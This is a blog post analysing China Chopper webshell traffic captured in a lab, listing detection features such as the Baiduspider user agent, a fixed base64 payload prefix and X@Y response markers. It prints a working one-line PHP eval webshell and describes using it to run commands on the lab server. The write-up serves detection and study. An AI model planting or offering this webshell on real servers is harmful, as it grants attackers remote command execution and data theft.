菜刀webshell特征分析

前言

Webshell是hacker经常使用的一种恶意脚本,其目的是获得对服务器的执行操作权限,比如执行系统命令、窃取用户数据、删除web页面、修改主页等,其危害不言而喻。

hacker通常利用常见的漏洞,如SQL注入、远程文件包含(RFI)、FTP,甚至使用跨站点脚本攻击(XSS)等方式作为社会工程攻击的一部分,最终达到控制网站服务器的目的。

有个想法,看看他这个工具的原理,再分析一下菜刀的特征。我用的最多的就是菜刀,蚁剑安装不上,后面有机会再分析。

环境

用的虚拟机的phpstudy搭建的网站,并在虚拟机里面使用wireshark进行捕捉流量包。

物理机使用的是中国菜刀:https://github.com/raddyfiy/caidao-official-version

上传webshell并连接

一句话木马:

<?php eval($_POST[caidao]);?>

通过某种途径,把一句话木马上传到了网站的根域名下

在这里插入图片描述

然后在菜刀工具里面,添加一个新的shell连接,密码caidao
在这里插入图片描述
同时也开启wireshark进行抓包,为了更直观的分析,对ip进行了过滤,只看与物理机(192.168.80.1) 的通信
在这里插入图片描述

成功连接到webshell
在这里插入图片描述
翻看一下目录
在这里插入图片描述
执行系统命令
在这里插入图片描述

上传了一个测试文本
在这里插入图片描述

分析流量

我已经将捕获到的数据包上传至csdn,详细见:https://download.csdn.net/download/weixin_52444045/86269653

特征一:

所有的请求都是一致的,方式为POST,路径为webshell的url地址。

我的是POST /123.php
在这里插入图片描述

特征二:

菜刀工具发起的请求头里面,默认的UA为百度的爬虫 Baiduspider

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

在这里插入图片描述

不过这个东西是可以在caidao.conf里面进行修改的,还是小心起见
在这里插入图片描述

特征三

这个是最主要的一个特征,如果请求包中包含下面信息,那么99%就是菜刀连接到shell了

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

在这里插入图片描述
在所有的请求包中,请求体的内容中,key的值就是连接菜刀webshell的密码,后面的值是用base64进行了加密,下面拿出几个值来进行分析下
在这里插入图片描述
圈出的这个可以用base64进行解码解出来的,每个请求中的前缀都是一样的,一定要注意这个前缀!!

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

解码后是下面:

@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");

在这里插入图片描述

特征四

每个返回包中,结果是用X@Y进行包含的
在这里插入图片描述
在这里插入图片描述
通过返回包可以直观的判断出是做了什么操作。

个人理解

图形操作去执行一些操作的原理是,利用php、asp、jsp的函数去完成操作。

后来找到在caidao.conf文件里面,有写每个操作的函数
在这里插入图片描述

下面对抓取到的一个流量包和代码进行对比

在这里插入图片描述

可以看到这个是上传文件的操作

可以看出规律:
执行对应操作的代码为

@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");
+
对应操作的函数代码
+
;echo("X@Y");die();

然后通过base64编码,传入请求体中。所以前缀是固定的,详细见特征三。

通过分析捕获到的流量包,每一个请求包中都可以解密并找到是什么操作的

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值